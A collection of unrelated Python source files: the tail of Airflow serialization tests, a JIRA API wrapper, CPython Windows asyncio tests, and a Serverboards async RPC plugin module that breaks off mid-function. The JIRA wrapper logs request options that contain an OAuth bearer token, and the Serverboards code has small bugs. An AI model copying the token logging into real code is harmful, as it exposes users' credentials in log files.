assert "deps" not in blob
serialized_op = SerializedBaseOperator.deserialize_operator(blob)
assert op.deps == serialized_op.deps
@parameterized.expand(
[
({"on_success_callback": lambda x: print("hi")}, True),
({}, False),
]
)
def test_dag_on_success_callback_roundtrip(self, passed_success_callback, expected_value):
"""
Test that when on_success_callback is passed to the DAG, has_on_success_callback is stored
in Serialized JSON blob. And when it is de-serialized dag.has_on_success_callback is set to True.
When the callback is not set, has_on_success_callback should not be stored in Serialized blob
and so default to False on de-serialization
"""
dag = DAG(dag_id='test_dag_on_success_callback_roundtrip', **passed_success_callback)
BaseOperator(task_id='simple_task', dag=dag, start_date=datetime(2019, 8, 1))
serialized_dag = SerializedDAG.to_dict(dag)
if expected_value:
assert "has_on_success_callback" in serialized_dag["dag"]
else:
assert "has_on_success_callback" not in serialized_dag["dag"]
deserialized_dag = SerializedDAG.from_dict(serialized_dag)
assert deserialized_dag.has_on_success_callback is expected_value
@parameterized.expand(
[
({"on_failure_callback": lambda x: print("hi")}, True),
({}, False),
]
)
def test_dag_on_failure_callback_roundtrip(self, passed_failure_callback, expected_value):
"""
Test that when on_failure_callback is passed to the DAG, has_on_failure_callback is stored
in Serialized JSON blob. And when it is de-serialized dag.has_on_failure_callback is set to True.
When the callback is not set, has_on_failure_callback should not be stored in Serialized blob
and so default to False on de-serialization
"""
dag = DAG(dag_id='test_dag_on_failure_callback_roundtrip', **passed_failure_callback)
BaseOperator(task_id='simple_task', dag=dag, start_date=datetime(2019, 8, 1))
serialized_dag = SerializedDAG.to_dict(dag)
if expected_value:
assert "has_on_failure_callback" in serialized_dag["dag"]
else:
assert "has_on_failure_callback" not in serialized_dag["dag"]
deserialized_dag = SerializedDAG.from_dict(serialized_dag)
assert deserialized_dag.has_on_failure_callback is expected_value
@parameterized.expand(
[
(
['task_1', 'task_5', 'task_2', 'task_4'],
['task_1', 'task_2', 'task_4', 'task_5'],
),
(
{'task_1', 'task_5', 'task_2', 'task_4'},
['task_1', 'task_2', 'task_4', 'task_5'],
),
(
('task_1', 'task_5', 'task_2', 'task_4'),
['task_1', 'task_2', 'task_4', 'task_5'],
),
(
{"task3": "test3", "task2": "test2", "task1": "test1"},
{"task1": "test1", "task2": "test2", "task3": "test3"},
),
]
)
def test_serialized_objects_are_sorted(self, object_to_serialized, expected_output):
"""Test Serialized Lists, Sets and Tuples are sorted"""
serialized_obj = SerializedDAG._serialize(object_to_serialized)
if isinstance(serialized_obj, dict) and "__type" in serialized_obj:
serialized_obj = serialized_obj["__var"]
assert serialized_obj == expected_output
def test_kubernetes_optional():
"""Serialisation / deserialisation continues to work without kubernetes installed"""
def mock__import__(name, globals_=None, locals_=None, fromlist=(), level=0):
if level == 0 and name.partition('.')[0] == 'kubernetes':
raise ImportError("No module named 'kubernetes'")
return importlib.__import__(name, globals=globals_, locals=locals_, fromlist=fromlist, level=level)
with mock.patch('builtins.__import__', side_effect=mock__import__) as import_mock:
# load module from scratch, this does not replace any already imported
# airflow.serialization.serialized_objects module in sys.modules
spec = importlib.util.find_spec("airflow.serialization.serialized_objects")
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
# if we got this far, the module did not try to load kubernetes, but
# did it try to access airflow.kubernetes.*?
imported_airflow = {
c.args[0].split('.', 2)[1] for c in import_mock.call_args_list if c.args[0].startswith("airflow.")
}
assert "kubernetes" not in imported_airflow
# pod loading is not supported when kubernetes is not available
pod_override = {
'__type': 'k8s.V1Pod',
'__var': PodGenerator.serialize_pod(executor_config_pod),
}
with pytest.raises(RuntimeError):
module.BaseSerialization.from_dict(pod_override)
# basic serialization should succeed
module.SerializedDAG.to_dict(make_simple_dag()["simple_dag"])
|
JIRA_API.py | """
JIRA API access module
Original Author: Alex Radnaev (alexander.radnaev@gmail.com)
Status: alpha
Python Version: 3.6
"""
import threading
import logging
from datetime import datetime
import etabotapp.TMSlib.Atlassian_API as Atlassian_API
from jira import JIRA
from typing import Dict
from etabotapp.constants import PROJECTS_AVAILABLE
JIRA_TIMEOUT_FOR_PASSWORD_SECONDS = 10.
JIRA_TIMEOUT_FOR_OAUTH2_SECONDS = 15.
JIRA_CLOUD_API = Atlassian_API.ATLASSIAN_CLOUD_BASE + "ex/jira/"
logger = logging.getLogger('django')
logger.info('JIRA_CLOUD_API: {}'.format(JIRA_CLOUD_API))
class Person:
def __init__(
self, *,
uuid: str,
display_name: str,
avatars_urls: Dict[str, str]):
self.uuid = uuid
self.display_name = display_name
self.avatars_urls = avatars_urls
def __repr__(self):
return 'person "{}" uuid "{}" avatars "{}"'.format(self.display_name, self.uuid, self.avatars_urls)
def __str__(self):
return self.__repr__()
class JIRA_wrapper:
"""Handles communication with JIRA API."""
def __init__(
self,
server,
username,
password=None,
TMSconfig: 'TMS' = None,
logs=None):
"""Create JIRA_wrapper object for JIRA API communication.
Arguments:
server - URL to JIRA server
username - JIRA username (not used for OAuth2.0 (password==None, token not None)
password - JIRA password or API key (not needed if OAuth2.0 token is passed
TMSconfig - TMS django model (not needed if password is passed)
"""
self.username = username
self.max_results_jira_api = 50
self.TMSconfig = TMSconfig
if logs is None:
logs = []
self.logs = logs
self.jira = self.JIRA_connect(
server, username, password=password)
def JIRA_connect(
self,
server,
username,
password=None):
"""Connect to jira api."""
if password is not None:
auth_method = 'password'
jira_timout_seconds = JIRA_TIMEOUT_FOR_PASSWORD_SECONDS
elif self.TMSconfig is not None and self.TMSconfig.oauth2_token is not None:
auth_method = 'oauth2'
jira_timout_seconds = JIRA_TIMEOUT_FOR_OAUTH2_SECONDS
else:
raise NameError('JIRA API key or TMSconfig with token must be provided')
options = {
'max_retries': 1,
'server': server}
logger.debug('authenticating with JIRA ({}, {})...'.format(
username, options.get('server', 'unknown server')))
try:
jira_place = []
errors_place = {}
def get_jira_object(target_list, errors_dict):
logger2 = logging.getLogger('django')
logger2.info('"{}" connecting to JIRA with options: {}'.format(
username, options))
try:
if auth_method == 'password':
logger2.debug('using basic auth with password')
jira = JIRA(
basic_auth=(username, password),
options=options)
else:
logger2.info('getting token from TMSconfig.')
token = self.TMSconfig.get_fresh_token()
logger2.info('got fresh token from TMSconfig.')
options['headers'] = {
'Authorization': 'Bearer {}'.format(token.access_token),
'Accept': 'application/json',
'Content-Type': 'application/json'}
logger2.debug('connecting with options: {}'.format(options))
jira = JIRA(options=options)
search_string = 'assignee=currentUser() ORDER BY Rank ASC'
logger2.debug('test jira query with search string: {}'.format(search_string))
res = jira.search_issues(search_string)
logger2.debug('search result: {}'.format(res))
logger2.info('found {} issues'.format(len(res)))
logger2.info('Authenticated with JIRA. {}'.format(jira))
target_list.append(jira)
except Exception as e:
error_message = str(e)
logger2.debug(error_message)
errors_dict['error_message'] = error_message
logger.debug('starting get_jira_object thread')
auth_thread = threading.Thread(
target=get_jira_object, args=(jira_place, errors_place))
auth_thread.start()
logger.debug('started get_jira_object thread. waiting for {} seconds before checking for thread \
status'.format(jira_timout_seconds))
auth_thread.join(jira_timout_seconds)
logger.debug('thread join done. checking for thread')
if auth_thread.is_alive():
logger.debug('thread is still alive - time out occurred')
raise Exception('Could not login in a given time - please \
check the team name with credentials and try again')
else:
logger.debug('thread is done, getting jira object')
if len(jira_place) > 0:
jira = jira_place[0]
logger.debug('jira object acquired: {}. \
Errors: "{}"'.format(jira, errors_place))
else:
logger.warning('no JIRA object passed, raising error.')
raise NameError(errors_place.get(
'error_message',
'Unknown error while authenticating with JIRA'))
except Exception as e:
raise NameError('JIRA error: {}'.format(e))
return jira
def get_jira_issues(self, search_string, get_all=True):
# Return list of jira issues using the search_string.
log_message = 'JQL = "{}"'.format(search_string)
logger.debug(log_message)
self.logs.append((datetime.utcnow(), log_message))
if 'assignee' not in search_string:
logger.warning('Searching for all assignees.')
returned_result_length = 50
jira_issues = []
while get_all and returned_result_length == self.max_results_jira_api:
try:
jira_issues_batch = self.jira.search_issues(
search_string,
maxResults=self.max_results_jira_api,
startAt=len(jira_issues),
expand='changelog')
except Exception as e:
log_message = 'ERROR: jira.search_issues for search_string="{}" failed due to "{}"'.format(
search_string, e)
logger.error(log_message)
self.logs.append((datetime.utcnow(), log_message))
jira_issues_batch = []
if returned_result_length > self.max_results_jira_api:
raise NameError(
'JIRA API problem: returned more results {} \
than max = {}'.format(
returned_result_length, self.max_results_jira_api))
returned_result_length = len(jira_issues_batch)
jira_issues += jira_issues_batch
logger.info('{}: got {} issues'.format(search_string, len(jira_issues)))
return jira_issues
def get_team_members(self, project: str, time_frame=365) -> Dict[str, Person]:
"""This function will gather all the team members in a given time range.
Default is one 1 year.
:param project: project name
:param time_frame: search for issues within past time_frame days
TODO: one issue at a time search request to mitigate max results limitation:
search assignee != None limit = 1 -> assignees.append(new_assignee)
repeat until no results: search assignee != None limit = 1 and assignee not in {assignees}
TODO: extract 'emailAddress'
"""
logger.debug('Getting team members started.')
# Error Checking
if time_frame < 0:
time_frame = 365
search_string = 'project={project} AND \
(created > -{timeFrame}d and created < now()) \
AND assignee IS NOT EMPTY \
ORDER BY assignee'.format(project=project, timeFrame=time_frame)
jira_issues = self.get_jira_issues(search_string)
# Gather Team members and create a dictionary using accountId as
# key. accountId is unique, so we avoid same displayName issues.
team_members = {}
for jira_issue in jira_issues:
item = jira_issue.raw
account_id = item['fields']['assignee']['accountId']
if account_id not in team_members:
logger.debug(item['fields']['assignee'])
team_members[account_id] = Person(
uuid=account_id,
display_name=item['fields']['assignee']['displayName'],
avatars_urls=item['fields']['assignee']['avatarUrls'])
logger.debug('Found {} team members: {}.'.format(len(team_members), team_members.keys()))
return team_members
def update_available_projects_for_TMS(tms, jira_wrapper):
logger.info('update_available_projects_for_TMS started with tms {}, jira {}'.format(tms, jira_wrapper))
if tms.params is None:
tms.params = {}
logger.warning('tms params is None, creating empty dict.')
if jira_wrapper is not None and jira_wrapper.jira:
projects = jira_wrapper.jira.projects()
project_names = [project.name for project in projects]
logger.debug('project_names: {}'.format(project_names))
logger.debug('TMS: {}'.format(tms))
logger.debug('tms.params: {}'.format(tms.params))
tms.params[PROJECTS_AVAILABLE] = project_names
logger.debug('projects_available: {}'.format(tms.params[PROJECTS_AVAILABLE]))
else:
logger.warning('no jira object. jira wrapper: {}'.format(jira_wrapper))
logger.info('update_available_projects_for_TMS finished for tms {}'.format(tms))
return project_names
|
test_windows_events.py | import os
import signal
import socket
import sys
import time
import threading
import unittest
from unittest import mock
if sys.platform != 'win32':
raise unittest.SkipTest('Windows only')
import _overlapped
import _winapi
import asyncio
from asyncio import windows_events
from test.test_asyncio import utils as test_utils
def tearDownModule():
asyncio.set_event_loop_policy(None)
class UpperProto(asyncio.Protocol):
def __init__(self):
self.buf = []
def connection_made(self, trans):
self.trans = trans
def data_received(self, data):
self.buf.append(data)
if b'\n' in data:
self.trans.write(b''.join(self.buf).upper())
self.trans.close()
class ProactorLoopCtrlC(test_utils.TestCase):
def test_ctrl_c(self):
def SIGINT_after_delay():
time.sleep(0.1)
signal.raise_signal(signal.SIGINT)
thread = threading.Thread(target=SIGINT_after_delay)
loop = asyncio.get_event_loop()
try:
# only start the loop once the event loop is running
loop.call_soon(thread.start)
loop.run_forever()
self.fail("should not fall through 'run_forever'")
except KeyboardInterrupt:
pass
finally:
self.close_loop(loop)
thread.join()
class ProactorMultithreading(test_utils.TestCase):
def test_run_from_nonmain_thread(self):
finished = False
async def coro():
await asyncio.sleep(0)
def func():
nonlocal finished
loop = asyncio.new_event_loop()
loop.run_until_complete(coro())
# close() must not call signal.set_wakeup_fd()
loop.close()
finished = True
thread = threading.Thread(target=func)
thread.start()
thread.join()
self.assertTrue(finished)
class ProactorTests(test_utils.TestCase):
def setUp(self):
super().setUp()
self.loop = asyncio.ProactorEventLoop()
self.set_event_loop(self.loop)
def test_close(self):
a, b = socket.socketpair()
trans = self.loop._make_socket_transport(a, asyncio.Protocol())
f = asyncio.ensure_future(self.loop.sock_recv(b, 100), loop=self.loop)
trans.close()
self.loop.run_until_complete(f)
self.assertEqual(f.result(), b'')
b.close()
def test_double_bind(self):
ADDRESS = r'\\.\pipe\test_double_bind-%s' % os.getpid()
server1 = windows_events.PipeServer(ADDRESS)
with self.assertRaises(PermissionError):
windows_events.PipeServer(ADDRESS)
server1.close()
def test_pipe(self):
res = self.loop.run_until_complete(self._test_pipe())
self.assertEqual(res, 'done')
async def _test_pipe(self):
ADDRESS = r'\\.\pipe\_test_pipe-%s' % os.getpid()
with self.assertRaises(FileNotFoundError):
await self.loop.create_pipe_connection(
asyncio.Protocol, ADDRESS)
[server] = await self.loop.start_serving_pipe(
UpperProto, ADDRESS)
self.assertIsInstance(server, windows_events.PipeServer)
clients = []
for i in range(5):
stream_reader = asyncio.StreamReader(loop=self.loop)
protocol = asyncio.StreamReaderProtocol(stream_reader,
loop=self.loop)
trans, proto = await self.loop.create_pipe_connection(
lambda: protocol, ADDRESS)
self.assertIsInstance(trans, asyncio.Transport)
self.assertEqual(protocol, proto)
clients.append((stream_reader, trans))
for i, (r, w) in enumerate(clients):
w.write('lower-{}\n'.format(i).encode())
for i, (r, w) in enumerate(clients):
response = await r.readline()
self.assertEqual(response, 'LOWER-{}\n'.format(i).encode())
w.close()
server.close()
with self.assertRaises(FileNotFoundError):
await self.loop.create_pipe_connection(
asyncio.Protocol, ADDRESS)
return 'done'
def test_connect_pipe_cancel(self):
exc = OSError()
exc.winerror = _overlapped.ERROR_PIPE_BUSY
with mock.patch.object(_overlapped, 'ConnectPipe',
side_effect=exc) as connect:
coro = self.loop._proactor.connect_pipe('pipe_address')
task = self.loop.create_task(coro)
# check that it's possible to cancel connect_pipe()
task.cancel()
with self.assertRaises(asyncio.CancelledError):
self.loop.run_until_complete(task)
def test_wait_for_handle(self):
event = _overlapped.CreateEvent(None, True, False, None)
self.addCleanup(_winapi.CloseHandle, event)
# Wait for unset event with 0.5s timeout;
# result should be False at timeout
fut = self.loop._proactor.wait_for_handle(event, 0.5)
start = self.loop.time()
done = self.loop.run_until_complete(fut)
elapsed = self.loop.time() - start
self.assertEqual(done, False)
self.assertFalse(fut.result())
# bpo-31008: Tolerate only 450 ms (at least 500 ms expected),
# because of bad clock resolution on Windows
self.assertTrue(0.45 <= elapsed <= 0.9, elapsed)
_overlapped.SetEvent(event)
# Wait for set event;
# result should be True immediately
fut = self.loop._proactor.wait_for_handle(event, 10)
start = self.loop.time()
done = self.loop.run_until_complete(fut)
elapsed = self.loop.time() - start
self.assertEqual(done, True)
self.assertTrue(fut.result())
self.assertTrue(0 <= elapsed < 0.3, elapsed)
# asyncio issue #195: cancelling a done _WaitHandleFuture
# must not crash
fut.cancel()
def test_wait_for_handle_cancel(self):
event = _overlapped.CreateEvent(None, True, False, None)
self.addCleanup(_winapi.CloseHandle, event)
# Wait for unset event with a cancelled future;
# CancelledError should be raised immediately
fut = self.loop._proactor.wait_for_handle(event, 10)
fut.cancel()
start = self.loop.time()
with self.assertRaises(asyncio.CancelledError):
self.loop.run_until_complete(fut)
elapsed = self.loop.time() - start
self.assertTrue(0 <= elapsed < 0.1, elapsed)
# asyncio issue #195: cancelling a _WaitHandleFuture twice
# must not crash
fut = self.loop._proactor.wait_for_handle(event)
fut.cancel()
fut.cancel()
class WinPolicyTests(test_utils.TestCase):
def test_selector_win_policy(self):
async def main():
self.assertIsInstance(
asyncio.get_running_loop(),
asyncio.SelectorEventLoop)
old_policy = asyncio.get_event_loop_policy()
try:
asyncio.set_event_loop_policy(
asyncio.WindowsSelectorEventLoopPolicy())
asyncio.run(main())
finally:
asyncio.set_event_loop_policy(old_policy)
def test_proactor_win_policy(self):
async def main():
self.assertIsInstance(
asyncio.get_running_loop(),
asyncio.ProactorEventLoop)
old_policy = asyncio.get_event_loop_policy()
try:
asyncio.set_event_loop_policy(
asyncio.WindowsProactorEventLoopPolicy())
asyncio.run(main())
finally:
asyncio.set_event_loop_policy(old_policy)
if __name__ == '__main__':
unittest.main()
|
serverboards_aio.py | import sys
import os
import json
import time
import traceback
import datetime
# from contextlib import contextmanager
sys.path.append(os.path.join(os.path.dirname(__file__),
'env/lib64/python3.6/site-packages/'))
sys.path.append(os.path.join(os.path.dirname(__file__),
'env/lib64/python3.5/site-packages/'))
import curio
_debug = False
plugin_id = os.environ.get("PLUGIN_ID")
real_print = print
RED = "\033[0;31m"
BLUE = "\033[0;34m"
GREY = "\033[1;30m"
RESET = "\033[1;m"
def real_debug(*msg):
if not _debug:
return
try:
now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S ")
real_print("\r", now, *msg, file=_debug)
except Exception:
pass
async def maybe_await(res):
# if async, wait for response ## cr_running only on async funcs
if not res:
return res
if hasattr(res, "cr_running"):
res = await res
return res
class RPC:
def __init__(self):
self.stdin = curio.file.AsyncFile(sys.stdin)
self.stdout = curio.file.AsyncFile(sys.stdout)
self.__call_id = 1
self.__methods = {}
self.__call_group = curio.TaskGroup()
# queues to wait for response of each of the remote calls
# indexed by method call id
self.__wait_for_response = {}
# subscriptions to events
self.__subscriptions = {}
self.__subscriptions_by_id = {}
self.__subscription_id = 1
self.__run_queue = curio.queue.UniversalQueue()
self.__running = False
self.__running_calls = []
self.__waiting_calls = []
self.__background_tasks = 0
async def stop(self):
self.__running = False
try:
await self.__call_group.cancel_remaining()
await self.__call_group.join(wait=all)
await self.__run_queue.put("QUIT")
if self.stdin:
await self.stdin.close()
except curio.errors.TaskTimeout:
real_print(RED, "Timeout at serverboards stop.", RESET)
def register(self, name, function):
self.__methods[name] = function
return self
async def __send(self, js):
jss = json.dumps(js)
if _debug:
real_debug(">>> %s" % jss)
try:
await self.stdout.write(jss + "\n")
await self.stdout.flush()
except Exception as e:
real_print(RED, "Broken pipe: ", e, RESET)
await self.stop()
async def __parse_request(self, req):
method = req.get("method")
id = req.get("id")
if method:
params = req.get("params")
await self.__call_group.spawn(self.__parse_call,
id, method, params)
elif id:
# got result
q = self.__wait_for_response.get(id)
if not q:
real_debug("Invalid response id, not waiting for it", q)
raise Exception("invalid-response-id")
await q.put(req)
else:
real_debug("unknown request", req)
raise Exception("unknown-request")
async def __parse_call(self, id, method, params):
# looks more like an event, try call callbacks
if not id and method in self.__subscriptions:
for f in self.__subscriptions[method]:
if isinstance(params, list):
self.run_async(f, *params, result=False)
else:
self.run_async(f, **params, result=False)
return
try:
self.__running_calls.append(method)
fn = self.__methods.get(method)
if not fn:
if id:
await self.__send({
"error": "not-found %s" % method,
"id": id
})
return
if isinstance(params, list):
res = fn(*params)
else:
res = fn(**params)
res = await maybe_await(res)
if id:
await self.__send({"result": res, "id": id})
except Exception as e:
log_traceback(e)
if id:
await self.__send({"error": str(e), "id": id})
finally:
self.__running_calls.remove(method)
async def call(self, method, *args, **kwargs):
self.__waiting_calls.append(method)
id = self.__call_id
self.__call_id += 1
q = curio.Queue()
self.__wait_for_response[id] = q
await self.__send({
"method": method,
"params": args or kwargs,
"id": id
})
# await for answer in the answer queue
res = await q.get()
del self.__wait_for_response[id]
self.__waiting_calls.remove(method)
error = res.get("error")
if error:
raise Exception(error)
return res.get("result")
async def event(self, method, *args, **kwargs):
await self.__send({
"method": method,
"params": args or kwargs,
})
def method_list(self):
return list(self.__methods.keys())
async def loop(self):
self.__running = True
self.__run_tasks_task = await curio.spawn(self.__run_tasks)
if not self.stdin:
return
try:
async for line in self.stdin:
line = line.strip()
if _debug:
try:
real_debug("<<< %s\n" % line)
except Exception:
pass
if line.startswith('# wait'): # special command!
await curio.sleep(float(line[7:]))
elif line == '# quit':
await self.stop()
return
else:
await self.__parse_request(json.loads(line))
if self.__running is False:
return
except BrokenPipeError:
return
except curio.TaskCancelled:
real_debug("EOF main loop. Task cancelled.")
return
except curio.CancelledError:
real_debug("EOF main loop. Cancelled file read.")
return
except Exception as e:
real_debug("Unexpected exception at main loop.", e)
log_traceback()
raise
finally:
await curio.timeout_after(2, self.stop)
async def subscribe(self, eventname, callback):
"""
Subscribes to an event
If the other side launches the given event, it calls the callback.
It returns an id that can be used for unsubscription.
"""
# subscribes to the real event, not the filtering
event = eventname.split('[', 1)[0]
id = self.__subscription_id
self.__subscription_id += 1
subs = self.__subscriptions.get(event, []) + [callback]
self.__subscriptions[event] = subs
self.__subscriptions_by_id[id] = (event, callback)
await self.call("event.subscribe", eventname)
return id
async def unsubscribe(self, id):
if id not in self.__subscriptions_ids:
return False
(event, callback) = self.__subscriptions_ids[id]
subs = self.__subscriptions[event]
subs = [x for x in subs if x != callback]
if subs:
self.__subscriptions[event] = subs
else:
del self.__subscriptions[event]
await self.call("event.unsubscribe", event)
del self.__subscriptions_ids[id]
return True
def run_async(self, method, *args, result=True, **kwargs):
q = None
if not self.__running and result:
raise Exception("not-running")
if self.__running and result:
q = curio.queue.UniversalQueue()
self.__run_queue.put((method, args, kwargs, q))
if q:
res = q.get()
q.task_done()
q.join()
return res
# real_debug("And return", method)
return None
async def __run_tasks(self):
while True:
if not self.__running:
return
res = await self.__run_queue.get()
if res == "QUIT":
return
async def run_in_task(method, args, kwargs, q):
# real_debug("Run in task", method)
self.__background_tasks += 1
try:
res = method(*args, **kwargs)
res = await maybe_await(res)
if q:
await q.put(res)
except BrokenPipeError as e:
real_debug(
RED, "Exception at task %s: %s" % (method, e), RESET)
log_traceback(e)
return # finished! Normally write to closed stdout
except curio.TaskCancelled as e:
real_debug(
RED, "Exception at task %s: %s" % (method, e), RESET)
log_traceback(e)
return
except Exception as e:
real_debug(
RED, "Exception at task %s: %s" % (method, e), RESET)
if q:
await q.put(e)
log_traceback(e)
except SystemExit as e:
# real_debug(RED, "exit %s: %s" % (method, e), RESET)
await curio.spawn(self.stop)
raise
finally:
# real_debug(GREY, "Finally", method, RESET)
self.__background_tasks -= 1
await curio.spawn(run_in_task, *res, daemon=True) # no join
def status(self):
return {
"running": self.__running_calls,
"waiting": self.__waiting_calls,
"background": self.__background_tasks,
}
rpc = RPC()
def rpc_method(fnname):
if isinstance(fnname, str):
def register(fn):
rpc.register(fnname, fn)
return fn
return register
rpc.register(fnname.__name__, fnname)
return fnname
@rpc_method("dir")
def list_all_methods():
return rpc.method_list()
@rpc_method("status")
def status():
return rpc.status()
async def call(method, *args, **kwargs):
return await rpc.call(method, *args, **kwargs)
async def call_event(method, *args, **kwargs):
return await rpc.event(method, *args, **kwargs)
def loop(**kwargs):
curio.run(rpc.loop, **kwargs)
def __simple_hash__(*args, **kwargs):
hs = ";".join(str(x) for x in args)
hs += ";"
hs += ";".join(
"%s=%s" % (
__simple_hash__(k),
__simple_hash__(kwargs[k])
) for k in sorted(kwargs.keys()))
return hash(hs)
def cache_ttl(ttl=10, max_size=50, hashf=__simple_hash__):
"""
Simple decorator, not very efficient, for a time based cache.
Params:
ttl -- seconds this entry may live. After this time, next use is
evicted.
max_size -- If trying to add more than max_size elements, older will be
evicted.
hashf -- Hash function for the arguments. Defaults to same data as
keys, but may require customization.
"""
def wrapper(f):
data = {}
async def wrapped(*args, **kwargs):
nonlocal data
currentt = time.time()
if len(data) >= max_size:
# first take out all expired
data = {
k: (timeout, v)
for k, (timeout, v) in data.items()
if timeout > currentt
}
while len(data) >= max_size:
# not enough, expire oldest
oldest_k = None
oldest_t = currentt + ttl
for k, (timeout, v) in data.items():
if timeout < oldest_t:
oldest_k = k
oldest_t = timeout
del data[oldest_k]
assert len(data) < max_size
if not args and not kwargs:
hs = None
else:
hs = hashf(*args, **kwargs)
timeout, value = data.get(hs, (currentt, None))
if timeout <= currentt or not value:
# recalculate
value = await maybe_await(f(*args, **kwargs))
# store
data[hs] = (currentt + ttl, value)
return value
def invalidate_cache():
nonlocal data
data = {}
wrapped.invalidate_cache = invalidate_cache
return wrapped
return wrapper
class WriteTo:
def __init__(self, fn, **extra):
self.fn = fn
self.extra = extra
async def __call__(self, *args, **extra):
nextra = {**{"level": 1}, **self.extra, **extra}
if not args: # if no data, add extras for contexts.
return WriteTo(self.fn, **nextra)
await self.fn(*args, **nextra)
async def write(self, data, *args, **extra):
if data.endswith('\n'):
data = data[:-1]
await self.fn(data, *args, **{**{"level": 1}, **self.extra, **extra})
def flush(*args, **kwargs):
pass
# @contextmanager
# async def context(self, level=2, **extra):
# value = io.StringIO()
# await value
# value.seek(0)
# await self.fn(value.read(),
# **{**{"level": level}, **self.extra, **extra})
class WriteToSync:
def __init__(self, fn, **extra):
self.fn = fn
self.extra = extra
def __call__(self, *args, **extra):
nextra = {**{"level": 1}, **self.extra, **extra}
if not args: # if no data, add extras for contexts.
return WriteToSync(self.fn, **nextra)
run_async(self.fn, *args, result=False, **nextra)
def write(self, data, *args, **extra):
if data.endswith('\n'):
data = data[:-1]
run_async(self.fn, data, *args,
result=False, **{**{"level": 1}, **self.extra, **extra})
def flush(*args, **kwargs):
pass
def log_(type):
def decorate_log(extra, level=2):
"""
Helper that decorates the given log messages with data of which
function, line and file calls the log.
"""
import inspect
callerf = inspect.stack()[level]
caller = {
"plugin_id": plugin_id,
"function": callerf[3],
"file": callerf[1],
"line": callerf[2],
"pid": os.getpid(),
}
caller.update(extra)
return caller
log_method = "log.%s" % type
async def log_inner(*msg, level=0, file=None, **extra):
if not msg:
return
# if _debug:
# real_debug("\r", *msg, "\n\r")
msg = ' '.join(str(x) for x in msg)
if not msg.strip():
return
# print("Inner msg", repr(msg),
# decorate_log(extra, level=level + 2),
# file=sys.stderr)
if file is not None:
await maybe_await(file.write(msg + "\n"))
if not msg:
return
return await rpc.event(
log_method,
str(msg),
decorate_log(extra, level=level + 2)
)
return log_inner
error = WriteTo(log_("error"))
debug = WriteTo(log_("debug"))
info = WriteTo(log_("info"))
warning = WriteTo(log_("warning"))
error_sync = WriteToSync(log_("error"))
print = WriteToSync(log_("debug"))
# all normal prints go to debug channel
# sys.stdout = WriteToSync(log_("debug"))
# sys.stdout = sys.stderr
def log_traceback(exc=None):
"""
Logs the given traceback to the error log.
"""
if exc:
run_async(error, "Got exception: %s" % exc, level=1, result=False)
traceback.print_exc(file=error_sync)
def test_mode(test_function, mock_data={}):
"""
Starts test mode with smock mocking library.
Once the mock mode starts, there is no way to stop it, but restart the
program. Use under some --test flag.
"""
from smock import mock_res
print = real_print
async def __mock_send(req):
method = req.get('method')
if method:
id = req.get('id')
params = req["params"]
if not id:
if method == 'log.error':
real_print(
RED, "ERROR: ", params[0], GREY, *params[1:], RESET)
return
if method == 'log.info':
real_print(
BLUE, "INFO: ", params[0], GREY, *params[1:], RESET)
return
if method == 'log.debug':
real_print(
BLUE, "DEBUG: ", params[0], GREY, *params[1:], RESET)
return
if method == 'log.warning':
real_print(
BLUE, "WARNING: ", params[0], GREY, *params[1:], RESET)
return
print(">>>", method, params)
return
try:
print(">>>", method, params)
if isinstance(params, (list, tuple)):
args = params
kwargs = {}
else:
args = []
kwargs = params
res = mock_res(method, mock_data, args=args, kwargs=kwargs)
resp = {
"result": res,
"id": req.get("id")
}
if isinstance(res, (int, str)):
print("<<<", json.dumps(res, indent=2))
else:
print("<<<", json.dumps(res._MockWrapper__data, indent=2))
await rpc._RPC__parse_request(resp)
except Exception as e:
await error("Error (%s) mocking call: %s" % (e, repr(req)))
traceback.print_exc()
resp = {
"error": str(e),
"id": req.get("id")
}
print("<<<", json.dumps({"error": str(e)}, indent=2))
await rpc._RPC__parse_request(resp)
return
print(">>>", req)
# print(dir(serverboards.rpc))
rpc._RPC__send = __mock_send
async def exit_wrapped():
exit_code = 1
try:
await test_function()
print("OK!")
exit_code = 0
except Exception:
print("Exception!")
traceback.print_exc(file=sys.stderr)
sys.exit(exit_code)
run_async(exit_wrapped, result=False)
set_debug(True)
loop(with_monitor=True)
def run_async(method, *args, **kwargs):
"""
Bridge to call async from sync code and a run later facility
This function allows to run later in the coro loop any required
function that may require communication or async behaviour.
This also allows to call an async function from sync code, for example,
it is used in the print wrapper on the Serverboards API to call print
as normal code (sync) but send the proper message to log the data on
Serveboards CORE.
The call will not be processed straight away, buut may be delayed until
the process gets into some specific points in the serverboards loop.
"""
return rpc.run_async(method, *args, **kwargs)
def set_debug(on=True):
"""
Set debug mode.
If no args are given, it enables debug mode.
"""
global _debug
if isinstance(on, str):
real_print("\r\n", GREY, "Debug ", plugin_id, "to", on, RESET, "\r\n", file=sys.stderr)
_debug = open(on, 'wt')
else:
_debug = sys.stderr
class RPCWrapper:
"""
Wraps any module or function to be able to be called.
This allows to do a simple `service.get(uuid)`, given that before you did a
`service = RPCWrapper("service")`.
There are already some instances ready for importing as:
`from serverboards import service, issues, rules, action`
"""
def __init__(self, module):
self.module = module
def __getattr__(self, sub):
return RPCWrapper(self.module + '.' + sub)
async def __call__(self, *args, **kwargs):
if args and kwargs:
return await rpc.call(self.module, *args, kwargs)
return await rpc.call(self.module, *args, **kwargs)
action = RPCWrapper("action")
auth = RPCWrapper("auth")
group = RPCWrapper("group")
perm = RPCWrapper("perm")
user = RPCWrapper("user")
dashboard = RPCWrapper("dashboard")
event = RPCWrapper("event")
issues = RPCWrapper("issues")
logs = RPCWrapper("logs")
notifications = RPCWrapper("notifications")
plugin = RPCWrapper("plugin")
plugin.component = RPCWrapper("plugin.component")
project = RPCWrapper("project")
rules = RPCWrapper("rules")
rules_v2 = RPCWrapper("rules_v2")
service = RPCWrapper("service")
settings = RPCWrapper("settings")
async def sync(f, *args, **kwargs):
"""
Runs a sync function in an async environment.
It may generate a new thread, so f must be thread safe.
Not using curio run_in_thread as it was cancelling threads and
not working, maybe due to not finished lib.
"""
import threading
q = curio.queue.UniversalQueue()
def run_in_thread():
try:
res = f(*args, **kwargs)
except Exception as e:
res = e
except Exception:
log_traceback()
res = Exception("unknown")
q.put(res)
thread = threading.Thread(target=run_in_thread)
thread.start() # another thread
res = await q.get()
thread.join()
await q.task_done()
await q.join()
if isinstance(res, Exception):
raise res
return res
def async(f, *args, **kwargs):
"""
Runs an async function in a sync environment.
Defers the call to the main thread loop, and waits for the response.
